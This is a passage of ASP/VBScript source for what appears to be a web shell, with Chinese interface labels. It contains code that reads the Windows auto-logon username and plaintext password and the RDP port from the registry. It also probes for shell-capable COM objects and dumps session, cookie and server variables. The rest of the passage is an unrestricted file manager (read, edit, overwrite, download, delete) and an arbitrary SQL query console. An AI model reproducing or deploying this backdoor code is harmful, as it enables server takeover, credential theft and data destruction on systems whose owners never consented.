O "<td> "&aCheck(6)&"</td>"
|
||
%>
|
||
</tr>
|
||
<tr>
|
||
<td> 环境变量</td>
|
||
<td style='padding-left:7px;'>
|
||
<%
|
||
For i=0 To UBound(aExEnvList)
|
||
O aExEnvList(i)&": "&W.ExpandEnvironmentStrings("%"&aExEnvList(i)&"%")&"<br>"
|
||
Next
|
||
%>
|
||
</td>
|
||
</tr>
|
||
<%
|
||
O Q
|
||
End Sub
|
||
Sub GetSrvDrvInfo()
|
||
If B=False Then On Error Resume Next
|
||
Dim oTheDrive
|
||
%>
|
||
<br>
|
||
<%
|
||
O Replace(Replace(K,"{$s}","服务器磁盘信息"),"=2","=6")
|
||
%>
|
||
<tr class=td align=center>
|
||
<td>盘符</td>
|
||
<td>类型</td>
|
||
<td>卷标</td>
|
||
<td>文件系统</td>
|
||
<td>可用空间</td>
|
||
<td>总空间</td>
|
||
</tr>
|
||
<%
|
||
For Each oTheDrive In F.Drives
|
||
%>
|
||
<tr align=center><td>
|
||
<%
|
||
O oTheDrive.DriveLetter
|
||
%>
|
||
</td><td>
|
||
<%
|
||
O GetDriveType(oTheDrive.DriveType)
|
||
%>
|
||
</td><td>
|
||
<%
|
||
O oTheDrive.VolumeName
|
||
%>
|
||
</td><td>
|
||
<%
|
||
O oTheDrive.FileSystem
|
||
%>
|
||
</td><td>
|
||
<%
|
||
O GetTheSize(oTheDrive.FreeSpace)
|
||
%>
|
||
</td><td>
|
||
<%
|
||
O GetTheSize(oTheDrive.TotalSize)
|
||
%>
|
||
</td></tr>
|
||
<%
|
||
If Err Then Err.Clear
|
||
Next
|
||
O Replace(Q,"=2","=6")
|
||
Set oTheDrive=Nothing
|
||
End Sub
|
||
Function GetDriveType(n)
|
||
Select Case n
|
||
Case 0
|
||
GetDriveType="未知"
|
||
Case 1
|
||
GetDriveType="可移动磁盘"
|
||
Case 2
|
||
GetDriveType="本地硬盘"
|
||
Case 3
|
||
GetDriveType="网络磁盘"
|
||
Case 4
|
||
GetDriveType="CD-ROM"
|
||
Case 5
|
||
GetDriveType="RAM 磁盘"
|
||
End Select
|
||
End Function
|
||
Sub GetTerminalInfo()
|
||
If B=False Then On Error Resume Next
|
||
Dim terminalPortPath,terminalPortKey,termPort
|
||
Dim autoLoginPath,autoLoginUserKey,autoLoginPassKey
|
||
Dim isAutoLoginEnable,autoLoginEnableKey,autoLoginUsername,autoLoginPassword
|
||
terminalPortPath="HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
|
||
terminalPortKey="PortNumber"
|
||
termPort=W.RegRead(terminalPortPath&terminalPortKey)
|
||
If termPort="" Or Err.Number<>0 Then
|
||
O " 无法得到终端服务端口,请检查权限是否已经受到限制.<br>"
|
||
Else
|
||
O " 当前终端服务端口: "&termPort&"<br>"
|
||
End If
|
||
autoLoginPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
|
||
autoLoginEnableKey="AutoAdminLogon"
|
||
autoLoginUserKey="DefaultUserName"
|
||
autoLoginPassKey="DefaultPassword"
|
||
isAutoLoginEnable=W.RegRead(autoLoginPath&autoLoginEnableKey)
|
||
If isAutoLoginEnable=0 Then
|
||
O " 系统自动登录功能未开启"
|
||
Else
|
||
autoLoginUsername=W.RegRead(autoLoginPath&autoLoginUserKey)
|
||
O " 自动登录的系统帐户: "&autoLoginUsername&"<br>"
|
||
autoLoginPassword=W.RegRead(autoLoginPath&autoLoginPassKey)
|
||
If Err Then
|
||
Err.Clear
|
||
O "False"
|
||
End If
|
||
O " 自动登录的帐户密码: "&autoLoginPassword&"<br>"
|
||
End If
|
||
End Sub
|
||
Sub ObjCheck()
|
||
Dim aObj(19)
|
||
Dim x,oTmp,tObj,sObj
|
||
If B=False Then On Error Resume Next
|
||
sObj=Trim(getPost("TheObj"))
|
||
aObj(0)="MSWC.AdRotator|广告轮换组件"
|
||
aObj(1)="MSWC.BrowserType|浏览器信息组件"
|
||
aObj(2)="MSWC.NextLink|内容链接库组件"
|
||
aObj(3)="MSWC.Tools|"
|
||
aObj(4)="MSWC.Status|"
|
||
aObj(5)="MSWC.Counters|计数器组件"
|
||
aObj(6)="MSWC.PermissionChecker|权限检测组件"
|
||
aObj(7)="Adodb.Connection|ADO 数据对象组件"
|
||
aObj(8)="CDONTS.NewMail|虚拟 SMTP 发信组件"
|
||
aObj(9)="Scripting.FileSystemObject|FSO组件"
|
||
aObj(10)="Adodb.Stream|Stream 流组件"
|
||
aObj(11)="Shell.Application|"
|
||
aObj(12)="WScript.Shell|"
|
||
aObj(13)="Wscript.Network|"
|
||
aObj(14)="ADOX.Catalog|"
|
||
aObj(15)="JMail.SmtpMail|JMail 邮件收发组件"
|
||
aObj(16)="Persits.Upload.1|ASPUpload 文件上传组件"
|
||
aObj(17)="LyfUpload.UploadFile|刘云峰的文件上传组件组件"
|
||
aObj(18)="SoftArtisans.FileUp|SA-FileUp 文件上传组件"
|
||
aObj(19)=sObj&"|您所要检测的组件"
|
||
%>
|
||
<br>
|
||
<%
|
||
O Replace(Replace(K,"{$s}","服务器组件信息"),"=2","=3")
|
||
%>
|
||
<tr class=td>
|
||
<td> 组件<font color=#666666>(描述)</font></td>
|
||
<td width=10% align=center>支持</td>
|
||
<td width=15% align=center>版本</td>
|
||
</tr>
|
||
<%
|
||
For Each x In aObj
|
||
tObj=Split(x,"|")
|
||
If tObj(0)="" Then Exit For
|
||
Set oTmp=Server.CreateObject(tObj(0))
|
||
If Err<>-2147221005 Then
|
||
x=x&"|√"&Y(Err=-2147221005,"<font color=#666666>(权限不足)</font>","")&"|"
|
||
x=x&oTmp.Version
|
||
Else
|
||
x=x&"|<font color=red>×</font>|"
|
||
End If
|
||
If Err Then Err.Clear
|
||
Set oTmp=Nothing
|
||
tObj=Split(x,"|")
|
||
tObj(1)=tObj(0)&Y(tObj(1)<>""," <font color=#666666>("&tObj(1)&")</font>","")
|
||
%>
|
||
<tr>
|
||
<%
|
||
O "<td> "&tObj(1)&"</td>"
|
||
O "<td align=center>"&tObj(2)&"</td>"
|
||
O "<td align=center>"&tObj(3)&"</td>"
|
||
%>
|
||
</tr>
|
||
<%
|
||
Next
|
||
O "<form method=post action='"&url&"'>"
|
||
%><input type=hidden name=G value=PageCheck><input type=hidden name=N id=N>
|
||
<tr>
|
||
<td colspan=3> 其它组件检测:
|
||
<%
|
||
O "<input name=TheObj type=text id=TheObj style='width:585px;' value="""&sObj&""">"
|
||
%><input type=submit name=Submit value=提交></td>
|
||
</tr>
|
||
</form>
|
||
<%
|
||
O Replace(Q,"=2","=3")
|
||
End Sub
|
||
Sub PageCSInfo()
|
||
If B=False Then On Error Resume Next
|
||
Dim sKey,sVar,sVariable
|
||
ST("客户端服务器交互信息")
|
||
O Replace(K,"{$s}","Application 变量查看")
|
||
For Each sVariable In Application.Contents
|
||
%>
|
||
<tr><td valign=top style='width:130px;'>
|
||
<%
|
||
O " <span class=fixSpan style='width:130px;' title='"&sVariable&"'>"&sVariable&"</span>"
|
||
%>
|
||
</td><td style='padding-left:7px;' class=fixTable><span>
|
||
<%
|
||
If IsArray(Application(sVariable))=True Then
|
||
For Each sVar In Application(sVariable)
|
||
O "<div>"&StrEncode(sVar)&"</div>"
|
||
Next
|
||
Else
|
||
O StrEncode(Application(sVariable))
|
||
End If
|
||
%>
|
||
</span></td></tr>
|
||
<%
|
||
Next
|
||
O Q
|
||
O "<br>"&Replace(K,"{$s}","Session 变量查看")
|
||
For Each sVariable In Session.Contents
|
||
%>
|
||
<tr><td valign=top style='width:130px;'>
|
||
<%
|
||
O " <span class=fixSpan style='width:130px;' title='"&sVariable&"'>"&sVariable&"</span>"
|
||
%>
|
||
</td><td style='padding-left:7px;' class=fixTable><span>
|
||
<%
|
||
O StrEncode(Session(sVariable))
|
||
%>
|
||
</span></td></tr>
|
||
<%
|
||
Next
|
||
O Q
|
||
O "<br>"&Replace(K,"{$s}","Cookies 变量查看")
|
||
For Each sVariable In Request.Cookies
|
||
If Request.Cookies(sVariable).HasKeys Then
|
||
For Each sKey In Request.Cookies(sVariable)
|
||
%>
|
||
<tr><td valign=top style='width:130px;'>
|
||
<%
|
||
O " <span class=fixSpan style='width:130px;' title='"&sVariable&"'>"&sVariable&"("&sKey&")</span>"
|
||
%>
|
||
</td><td style='padding-left:7px;' class=fixTable><span>
|
||
<%
|
||
O StrEncode(Request.Cookies(sVariable)(sKey))
|
||
%>
|
||
</span></td></tr>
|
||
<%
|
||
Next
|
||
Else
|
||
O "<tr><td valign=top style='width:130px;'> <span class=fixSpan style='width:130px;' title='"&sVariable&"'>"&sVariable&"</span></td><td style='padding-left:7px;'>"&StrEncode(Request.Cookies(sVariable))&"</td></tr>"
|
||
End If
|
||
Next
|
||
O Q
|
||
O "<br>"&Replace(K,"{$s}","ServerVariables 变量查看")
|
||
For Each sVariable In Request.ServerVariables
|
||
O "<tr><td> "&sVariable&":</td><td style='padding-left:7px;' class=fixTable>"&StrEncode(Request.ServerVariables(sVariable))&"</li>"
|
||
Next
|
||
O Q
|
||
End Sub
|
||
Sub PageFso()
|
||
ST("FSO文件浏览操作器")
|
||
Select Case N
|
||
Case "rename"
|
||
RenOne()
|
||
Case "download"
|
||
DownTheFile()
|
||
Response.End()
|
||
Case "del"
|
||
DelOne()
|
||
Case "newone"
|
||
NewOne()
|
||
Case "saveas"
|
||
SaveAs()
|
||
Case "save"
|
||
SaveToFile()
|
||
ShowEdit()
|
||
Response.End()
|
||
Case "showedit"
|
||
ShowEdit()
|
||
Response.End()
|
||
Case "showimage"
|
||
ShowImage()
|
||
Response.End()
|
||
Case "copy","move"
|
||
MoveCopyOne()
|
||
End Select
|
||
If N<>"" Then P=R("truePath")
|
||
FsoFileExplorer()
|
||
End Sub
|
||
Sub FsoFileExplorer()
|
||
Dim oX,tFolder,folderId,extName,parentFolderName
|
||
Dim sPath
|
||
If B=False Then On Error Resume Next
|
||
If P="" Then P=RP
|
||
sPath=P
|
||
If F.FolderExists(sPath)=False Then
|
||
ShowErr(P&" 目录不存在或者不允许访问!")
|
||
End If
|
||
Set tFolder=F.GetFolder(sPath)
|
||
parentFolderName=F.GetParentFolderName(sPath)&"\"
|
||
O "<form method=post action='"&url&"'>"
|
||
O Replace(K,"{$s}","FSO文件浏览操作器")
|
||
%>
|
||
<td colspan=2>
|
||
<%
|
||
O "路径: <input style='width:500px;' name=P value="""&C(P)&""">"
|
||
O "<input type=hidden name=truePath value="""&C(P)&""">"
|
||
%>
|
||
<input type=button value='提交' onclick=Command('submit');>
|
||
<input type=button value=上传 onclick=Command('upload')>
|
||
</td>
|
||
</tr>
|
||
<tr><td colspan=2 class=trHead> </td></tr>
|
||
<tr><td valign=top><input type=hidden name=N><input type=hidden name=param><input type=hidden value=PageFso name=G>
|
||
<table width='99%' align=center>
|
||
<tr><td colspan=4 class=trHead> </td></tr><tr class=td><td>
|
||
<%
|
||
If parentFolderName<>"\" Then
|
||
folderId=Replace(parentFolderName,"\","\\")
|
||
O " <a href=""javascript:changeThePath(""&folderId&"");"">↑回上级目录</a>"
|
||
End If
|
||
%>
|
||
</td><td align=center width=80>大小</td>
|
||
<td align=center width=140>最后修改</td><td align=center>操作</td></tr>
|
||
<%
|
||
For Each oX In tFolder.SubFolders
|
||
folderId=Replace(oX.Path,"\","\\")
|
||
O "<tr title="""&oX.Name&"""><td> <font color=CCCCFF>■</font>"
|
||
%>
|
||
<span class=fixSpan style='width:180;'>
|
||
<%
|
||
O "<a href=""javascript:changeThePath(""&folderId&"");"">"& oX.Name&"</a></span>"
|
||
%>
|
||
</td>
|
||
<td align=center>-</td>
|
||
<%
|
||
O "<td align=center>"&oX.DateLastModified&"</td><td>"
|
||
O "<input type=checkbox name=checkBox value="""&oX.Name&""">"
|
||
O "<input type=button onclick=""Command('rename',""&oX.Name&"");"" value='Ren' title=重命名>"
|
||
O "<input type=button value='SaveAs' title=另存为 onclick=""Command('saveas',""&Replace(oX.Path,"\","\\")&"")"">"
|
||
%>
|
||
</td></tr>
|
||
<%
|
||
Next
|
||
For Each oX In tFolder.Files
|
||
If Left(oX.Path,Len(RP))<>RP Then
|
||
folderId=""
|
||
Else
|
||
folderId=Replace(Replace(U(Mid(oX.Path,Len(RP)+1)),"%2E","."),"+","%20")
|
||
End If
|
||
O "<tr title="""&oX.Name&"""><td> <font color=CCCCFF>□</font>"
|
||
%>
|
||
<span class=fixSpan style='width:180;'>
|
||
<%
|
||
If folderId="" Then
|
||
O oX.Name
|
||
Else
|
||
O "<a href='"&Replace(folderId,"%5C","/")&"' target=_blank>"&oX.Name&"</a>"
|
||
End If
|
||
O "</span></td><td align=center>"&GetTheSize(oX.Size)&"</td>"
|
||
O "<td align=center>"&oX.DateLastModified&"</td><td>"
|
||
O "<input type=checkbox name=checkBox value="""&oX.Name&""">"
|
||
extName=LCase(F.GetExtensionName(oX.Path))
|
||
'If InStr(EF,"$"&extName&"$")>0 Then'让所有文件有编辑功能
|
||
O "<input type=button value='Edit' title=编辑 onclick=""Command('showedit',""&oX.Name&"");"">"
|
||
'End If
|
||
If InStr(FE,"$"&extName&"$")>0 Then
|
||
O "<input type=button value='View' title=查看图片 onclick=""Command('showimage',""&oX.Name&"");"">"
|
||
End If
|
||
If extName="mdb" Then
|
||
O "<input type=button value='Access' title=数据库操作 onclick=Command('access',"""&oX.Name&""")>"
|
||
End If
|
||
O "<input type=button value='D' title=下载 onclick=""Command('download',""&oX.Name&"")"">"
|
||
O "<input type=button value='Ren' title=重命名 onclick=""Command('rename',""&oX.Name&"")"">"
|
||
O "<input type=button value='S' title=另存为 onclick=""Command('saveas',""&Replace(oX.Path,"\","\\")&"")"">"
|
||
%>
|
||
</td></tr>
|
||
<%
|
||
Next
|
||
%>
|
||
<tr class=td><td colspan=3></td>
|
||
<td><input type=checkbox name=checkAll onclick=checkAllBox(this);><input type=button value='Delete' onclick=Command('del')><input type=button value='Pack' title=打包选中文件(夹) onclick=Command('pack')>
|
||
</td></tr></table>
|
||
</td><td width='20%' valign=top align=center><input type=button value=刷新 onclick=this.form.P.value=this.form.truePath.value;Command('submit');><br><input type=button value=新建文件 onclick=Command('newone','file')><br><input type=button value=新建文件夹 onclick=Command('newone','folder')><hr style='color:#d8d8f0;'/>
|
||
<%
|
||
O "移动选中文件(夹)到<br><input value="""&C(P)&""" name=MoveTo><br><input type=button value='移动' onclick=Command('move');><hr style='color:#d8d8f0;'/>"
|
||
O "复制选中文件(夹)到<br><input value="""&C(P)&""" name=CopyTo><br><input type=button value='复制' onclick=Command('copy');><hr style='color:#d8d8f0;'/>"
|
||
%>
|
||
</td></tr>
|
||
<%=Q%>
|
||
</form>
|
||
<%
|
||
Set tFolder=Nothing
|
||
End Sub
|
||
Sub RenOne()
|
||
Dim oX,sPath,aParam,isFile,isFolder
|
||
If B=False Then On Error Resume Next
|
||
aParam=Split(R("param"),",")
|
||
sPath=R("truePath")&"\"
|
||
aParam(0)=sPath&aParam(0)
|
||
isFile=F.FileExists(aParam(0))
|
||
isFolder=F.FolderExists(aParam(0))
|
||
If isFile=False And isFolder=False Then
|
||
ShowErr("文件(夹)不存在或者不允许访问!")
|
||
End If
|
||
If isFile=False Then
|
||
Set oX=F.GetFolder(aParam(0))
|
||
oX.Name=aParam(1)
|
||
Else
|
||
Set oX=F.GetFile(aParam(0))
|
||
oX.Name=aParam(1)
|
||
End If
|
||
Set oX=Nothing
|
||
ChkErr(Err)
|
||
End Sub
|
||
Sub DownTheFile()
|
||
Response.Clear
|
||
Dim M,sPath
|
||
If B=False Then On Error Resume Next
|
||
sPath=R("truePath")&"\"&R("param")
|
||
Set M=Server.CreateObject("adodb.Stream")
|
||
M.Open
|
||
M.Type=1
|
||
M.LoadFromFile(sPath)
|
||
ChkErr(Err)
|
||
Response.AddHeader "Content-Disposition","Attachment;Filename="&R("param")
|
||
Response.AddHeader "Content-Length",M.Size
|
||
Response.Charset="UTF-8"
|
||
Response.ContentType="Application/Octet-Stream"
|
||
Response.BinaryWrite M.Read
|
||
Response.Flush
|
||
M.Close
|
||
Set M=Nothing
|
||
End Sub
|
||
Sub DelOne()
|
||
Dim oX,sPath
|
||
If B=False Then On Error Resume Next
|
||
sPath=R("truePath")&"\"
|
||
For Each oX In Request.Form("checkBox")
|
||
If F.FolderExists(sPath&oX)=True Then
|
||
Call F.DeleteFolder(sPath&oX,True)
|
||
ChkErr(Err)
|
||
Else
|
||
If F.FileExists(sPath&oX)=True Then
|
||
Call F.DeleteFile(sPath&oX,True)
|
||
ChkErr(Err)
|
||
End If
|
||
End If
|
||
Next
|
||
End Sub
|
||
Sub MoveCopyOne()
|
||
Dim oX,sPath,sMoveTo,sCopyTo
|
||
If B=False Then On Error Resume Next
|
||
sMoveTo=R("MoveTo")
|
||
sCopyTo=R("CopyTo")
|
||
sPath=R("truePath")&"\"
|
||
If N="move" Then
|
||
sMoveTo=sMoveTo&"\"
|
||
Else
|
||
sCopyTo=sCopyTo&"\"
|
||
End If
|
||
For Each oX In Request.Form("checkBox")
|
||
If N="move" Then
|
||
If InStr(sMoveTo,sPath&oX)>0 Then
|
||
ShowErr("目标文件夹不能在源文件夹内")
|
||
End If
|
||
If F.FileExists(sPath&oX)=True Then
|
||
Call F.MoveFile(sPath&oX,sMoveTo&oX)
|
||
Else
|
||
Call F.MoveFolder(sPath&oX,sMoveTo&oX)
|
||
End If
|
||
Else
|
||
If InStr(sCopyTo,sPath&oX)>0 Then
|
||
ShowErr("目标文件夹不能在源文件夹内")
|
||
End If
|
||
If F.FileExists(sPath&oX)=True Then
|
||
Call F.CopyFile(sPath&oX,sCopyTo&oX)
|
||
Else
|
||
Call F.CopyFolder(sPath&oX,sCopyTo&oX)
|
||
End If
|
||
End If
|
||
ChkErr(Err)
|
||
Next
|
||
End Sub
|
||
Sub NewOne()
|
||
Dim oX,sPath,aParam
|
||
If B=False Then On Error Resume Next
|
||
aParam=Split(R("param"),",")
|
||
sPath=R("truePath")&"\"&aParam(0)
|
||
If aParam(1)="file" Then
|
||
Call F.CreateTextFile(sPath,False)
|
||
Else
|
||
F.CreateFolder(sPath)
|
||
End If
|
||
End Sub
|
||
Sub ShowEdit()
|
||
Dim tFile,sPath
|
||
If B=False Then On Error Resume Next
|
||
sPath=R("truePath")&"\"&R("param")
|
||
If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath) - 1)
|
||
Set tFile=F.OpenTextFile(sPath,1,False)
|
||
ChkErr(Err)
|
||
O "<form method=post action="&url&">"
|
||
O Replace(Replace(K,"{$s}","FSO文本编辑器"),"=2","=1")
|
||
%><input type=hidden name=N><input type=hidden value=PageFso name=G>
|
||
<tr>
|
||
<%
|
||
O "<td height=22> <input name=truePath value="""&sPath&""" style=width:500px;>"
|
||
%><input type=submit value=查看 onClick=this.form.N.value='showedit';></td>
|
||
</tr>
|
||
<tr>
|
||
<td> <textarea name=fileContent style='width:735px;height:500px;'>
|
||
<%
|
||
O C(tFile.ReadAll())
|
||
%></textarea></td>
|
||
</tr>
|
||
<tr>
|
||
<td class=trHead> </td>
|
||
</tr>
|
||
<tr>
|
||
<td class=td align=center><input type=button name=Submit value=保存 onClick="if(confirm('确认保存修改?')){this.form.N.value='save';this.form.submit();}"><input type=reset value=重置><input type=button onclick='window.close();' value=关闭><input type=button value=预览 onclick=preView('1');title='以HTML方式在新窗口中预览当前代码'></td>
|
||
</tr>
|
||
</form>
|
||
</table>
|
||
<%
|
||
Set tFile=Nothing
|
||
End Sub
|
||
Sub SaveToFile()
|
||
Dim tFile,sPath,fileContent
|
||
If B=False Then On Error Resume Next
|
||
fileContent=R("fileContent")
|
||
sPath=R("truePath")
|
||
Set tFile=F.OpenTextFile(sPath,2,True)
|
||
tFile.Write fileContent
|
||
tFile.Close
|
||
ChkErr(Err)
|
||
Set tFile=Nothing
|
||
End Sub
|
||
Sub SaveAs()
|
||
Dim sPath,aParam,isFile
|
||
If B=False Then On Error Resume Next
|
||
aParam=Split(R("param"),",")
|
||
aParam(0)=aParam(0)
|
||
aParam(1)=aParam(1)
|
||
isFile=F.FileExists(aParam(0))
|
||
If isFile=True Then
|
||
F.CopyFile aParam(0),aParam(1),False
|
||
Else
|
||
F.CopyFolder aParam(0),aParam(1),False
|
||
End If
|
||
ChkErr(Err)
|
||
End Sub
|
||
Sub ShowImage()
|
||
Dim M,sPath,fileContentType
|
||
If B=False Then On Error Resume Next
|
||
sPath=R("truePath")&"\"&R("param")
|
||
Set M=Server.CreateObject("adodb.Stream")
|
||
M.Open
|
||
M.Type=1
|
||
M.LoadFromFile(sPath)
|
||
ChkErr(Err)
|
||
Response.Clear
|
||
Response.BinaryWrite M.Read
|
||
M.Close
|
||
Set M=Nothing
|
||
End Sub
|
||
Sub PageDBTool()
|
||
ST("Access+SQL Server 数据库操作")
|
||
O "<form method=post action="""&url&""">"
|
||
If N<>"" And N<>"Query" And N<>"ShowTables" Then
|
||
SqlShowEdit()
|
||
%>
|
||
</form>
|
||
<%
|
||
Response.End()
|
||
End If
|
||
ShowDBTool()
|
||
Select Case N
|
||
Case "Query"
|
||
ShowQuery()
|
||
Case "ShowTables"
|
||
ShowTables()
|
||
End Select
|
||
%>
|
||
</form>
|
||
<%
|
||
End Sub
|
||
Sub ShowDBTool()
|
||
%><input type=hidden value=PageDBTool name=G><input type=hidden name=N><input type=hidden name=param>
|
||
<%
|
||
O Replace(K,"{$s}","Access+SQL Server 数据库操作")
|
||
%>
|
||
<tr>
|
||
<td height=50 align=center colspan=2><select onchange="this.form.P.value=this.value;this.value='';"><option value=''>模板选择
|
||
<option value='DataSource;UserName;PassWord;'>MDB(1)
|
||
<%
|
||
O "<option value='sql:Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&RP&"\db.mdb'>MDB(2)"
|
||
%>
|
||
<option value='sql:Provider=SQLOLEDB.1;Server=(local);User ID=UserName;Password=***;Database=Pubs;'>SQL Server
|
||
<option value='sql:Driver={MySql};Server=127.0.0.1;Port=3306;Database=DbName;UId=root;Pwd=***;'>MySQL Server
|
||
<option value='sql:Dsn=DsnName;'>数据源
|
||
</select>
|
||
<%
|
||
O "<input name=P type=text id=P value="""&C(P)&""" size=60>"
|
||
%>
|
||
</td>
|
||
</tr>
|
||
<tr>
|
||
<td class=trHead> </td>
|
||
</tr>
|
||
<tr>
|
||
<td align=center class=td><input type=submit name=Submit value='提 交' onclick="this.form.N.value='ShowTables';"><input type=reset value='重 置'>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
<%
|
||
End Sub
|
||
Sub ShowTables()
|
||
Dim Cat,oTable,oColumn,iColSpan,oSchema
|
||
If B=False Then On Error Resume Next
|
||
O sSqlSelect&"<textarea name=sql rows=1 style='width:647px;'></textarea>"
|
||
%>
|
||
<input type=button value=执行查询 onclick="this.form.N.value='ShowQuery';Command('Query','0');"><input type=button value=- onclick='if(this.form.sql.rows>3)this.form.sql.rows-=3;'><input type=button value=+ onclick='this.form.sql.rows+=3;'>
|
||
<br>
|
||
<%
|
||
O Replace(K,"{$s}","数据表及结构查看")
|
||
CreateConn()
|
||
Set Cat=Server.CreateObject("ADOX.Catalog")
|
||
Cat.ActiveConnection=conn.ConnectionString
|
||
%>
|
||
<tr><td width='20%' valign=top>
|
||
<%
|
||
For Each oTable In Cat.Tables
|
||
O "<span class=fixSpan title='"&oTable.Name&"' onclick=""Command('Query',this.title);this.disabled=true;"" "
|
||
O "style='width:94%;padding-left:8px;cursor:hand;'>"&oTable.Name&"</span>"
|
||
Next
|
||
%>
|
||
</td><td>
|
||
<%
|
||
iColSpan=Y(isSqlServer=True,"4","6")
|
||
For Each oTable In Cat.Tables
|
||
%>
|
||
<table width=98% align=center>
|
||
<tr>
|
||
<%
|
||
O "<td class=trHead colspan="&iColSpan&"> </td>"
|
||
%>
|
||
</tr>
|
||
<tr>
|
||
<%
|
||
O "<td colspan="&iColSpan&" class=td> <b>"
|
||
O oTable.Name&"</b></td>"
|
||
%>
|
||
</tr>
|
||
<%
|
||
%>
|
||
<tr align=center>
|
||
<td align=left width=*> 列名</td>
|
||
<td width=80>类型</td>
|
||
<td width=60>大小</td>
|
||
<td width=60>可否为空</td>
|
||
<%
|
||
If isSqlServer=False Then
|
||
%>
|
||
<td width=50>默认值</td>
|
||
<td width=100>描述</td>
|
||
<%
|
||
End If
|
||
%>
|
||
</tr>
|
||
<%
|
||
For Each oColumn In Cat.Tables(oTable.Name).Columns
|
||
%>
|
||
<tr align=center>
|
||
<%
|
||
O "<td align=left><span style='width:98%;padding-left:5px;'>"&oColumn.Name&"</a></td>"
|
||
O "<td>"&GetDataType(oColumn.Type)&"</td>"
|
||
If oColumn.DefinedSize<>0 Then
|
||
O "<td>"&oColumn.DefinedSize&"</td>"
|
||
Else
|
||
O "<td>"&Y(oColumn.Precision<>0,oColumn.Precision," ")&"</td>"
|
||
End If
|
||
O "<td>"&Y(oColumn.Attributes=1,"False","True")&"</td>"
|
||
If isSqlServer=False Then
|
||
O "<td><span class=fixSpan style='width:40px;padding-left:5px;' title="""&C(oColumn.Properties("Default").value)&""">"
|
||
O C(oColumn.Properties("Default").value)&"</span></td>"
|
||
O "<td align=left><span class=fixSpan style='width:95px;padding-left:5px;' title="""&oColumn.Properties("Description")&""">"
|
||
O oColumn.Properties("Description")&"</span></td>"
|
||
End If
|
||
%>
|
||
</tr>
|
||
<%
|
||
Next
|
||
%>
|
||
<tr>
|
||
<%
|
||
O "<td colspan="&iColSpan&" class=td> </td>"
|
||
%>
|
||
</tr>
|
||
</table><br>
|
||
<%
|
||
Next
|
||
%>
|
||
</td>
|
||
</tr>
|
||
<%
|
||
%>
|
||
<tr>
|
||
<td colspan=2 class=trHead> </td>
|
||
</tr>
|
||
<tr>
|
||
<td colspan=2 class=td align=right>By Marcos 2005.11 </td>
|
||
</tr>
|
||
</table>
|
||
<%
|
||
Set Cat=Nothing
|
||
DestoryConn()
|
||
End Sub
|
||
Sub ShowQuery()
|
||
Dim i,j,x,rs,sql,sqlB,sqlC,Cat,iPage,oTable,sParam,sTable,sPrimaKey,sExec
|
||
If B=False Then On Error Resume Next
|
||
sql=R("sql")
|
||
sParam=R("param")
|
||
sTable=R("tTable")
|
||
Set rs=Server.CreateObject("Adodb.RecordSet")
|
||
If IsNumeric(sParam)=True Then
|
||
iPage=sParam
|
||
Else
|
||
iPage=1
|
||
sTable=sParam
|
||
sql=""
|
||
End If
|
||
If sql="" Then
|
||
sql="Select * From ["&sTable&"]"
|
||
End If
|
||
For i=1 To Request.Form("KeyWord").Count
|
||
If Request.Form("KeyWord")(i)<>"" Then
|
||
sqlC=Replace(Request.Form("KeyWord")(i),"'","''")
|
||
sqlC=Y(Request.Form("JoinTag")(i)=" like ","'"&sqlC&"'",sqlC)
|
||
sqlB=sqlB&"["&Request.Form("Fields")(i)&"]"&Request.Form("JoinTag")(i)&sqlC&Request.Form("JoinTag2")(i)
|
||
End If
|
||
Next
|
||
If sqlB<>"" Then
|
||
sql="Select * From ["&sTable&"] Where "&sqlB
|
||
If Right(sql,4)=" Or " Then sql=Left(sql,Len(sql) - 4)
|
||
If Right(sql,5)=" And " Then sql=Left(sql,Len(sql) - 5)
|
||
End If
|
||
O sSqlSelect&"<input type=hidden name=sql value="""&C(sql)&""">"
|
||
O "<textarea name=sqlB rows=1 style='width:647px;'>"&C(sql)&"</textarea>"
|
||
%>
|
||
<input type=button value=执行查询 onclick="this.form.sql.value=this.form.sqlB.value;Command('Query','0');"><input type=button value=- onclick='if(this.form.sqlB.rows>3)this.form.sqlB.rows-=3;'><input type=button value=+ onclick='this.form.sqlB.rows+=3;'>
|
||
<%
|
||
O "<input type=hidden name=tTable value="""&C(sTable)&""">"
|
||
%>
|
||
<br>
|
||
<%
|
||
O Replace(K,"{$s}","SQL查询器")
|
||
CreateConn()
|
||
Set Cat=Server.CreateObject("ADOX.Catalog")
|
||
Cat.ActiveConnection=conn.ConnectionString
|
||
%>
|
||
<tr><td width='20%' valign=top>
|
||
<%
|
||
For Each oTable In Cat.Tables
|
||
O "<span class=fixSpan title='"&oTable.Name&"' onclick=""Command('Query',this.title);this.disabled=true;"" "
|
||
%>
|
||
style='width:94%;padding-left:8px;cursor:hand;'>
|
||
<%
|
||
If sTable=oTable.Name Then
|
||
O "<u>"&oTable.Name&"</u>"
|
||
Else
|
||
O oTable.Name
|
||
End If
|
||
%>
|
||
</span>
|
||
<%
|
||
Next
|
||
%>
|
||
</td><td valign=top>
|
||
<%
|
||
If LCase(Left(sql,7))="select " Then
|
||
rs.Open sql,conn,1,1
|
||
ChkErr(Err)
|
||
rs.PageSize=PageSize
|
||
If Not rs.Eof Then
|
||
rs.AbsolutePage=iPage
|
||
End If
|
||
%>
|
||
<div align=left><table border=1 width=490>
|
||
<tr>
|
||
<td height=22 class=trHead> </td>
|
||
</tr>
|
||
<tr>
|
||
<td height=22 class=td width=100> 查询</td>
|
||
</tr><tr><td align=center>
|
||
<div><select name=Fields>
|
||
<%
|
||
For Each x In rs.Fields
|
||
O "<option value="""&x.Name&""">"&x.Name&"</option>"
|
||
Next
|
||
%>
|
||
</select><select name=JoinTag><option value=' like '>like</option><option value='='>=</option></select><input name=KeyWord style='width:200px;'><select name=JoinTag2><option value=' And '>And</option><option value=' Or '>Or</option></select> <input type=button value=+ onclick="this.parentElement.outerHTML+='<div>'+this.parentElement.innerHTML+'</div>';"><input type=button value=- onclick="this.parentElement.outerHTML='';"></div> <input type=button value=查询 onclick=this.form.sql.value='';this.form.param.value='1';this.form.N.value='Query';this.form.submit();>
|
||
</td></tr>
|
||
<tr><td class=td> </td></tr>
|
||
</table></div><br>
|
||
<%
|
||
If rs.Fields.Count>0 Then
|
||
sPrimaKey=GetPrimaKey(sTable)
|
||
%>
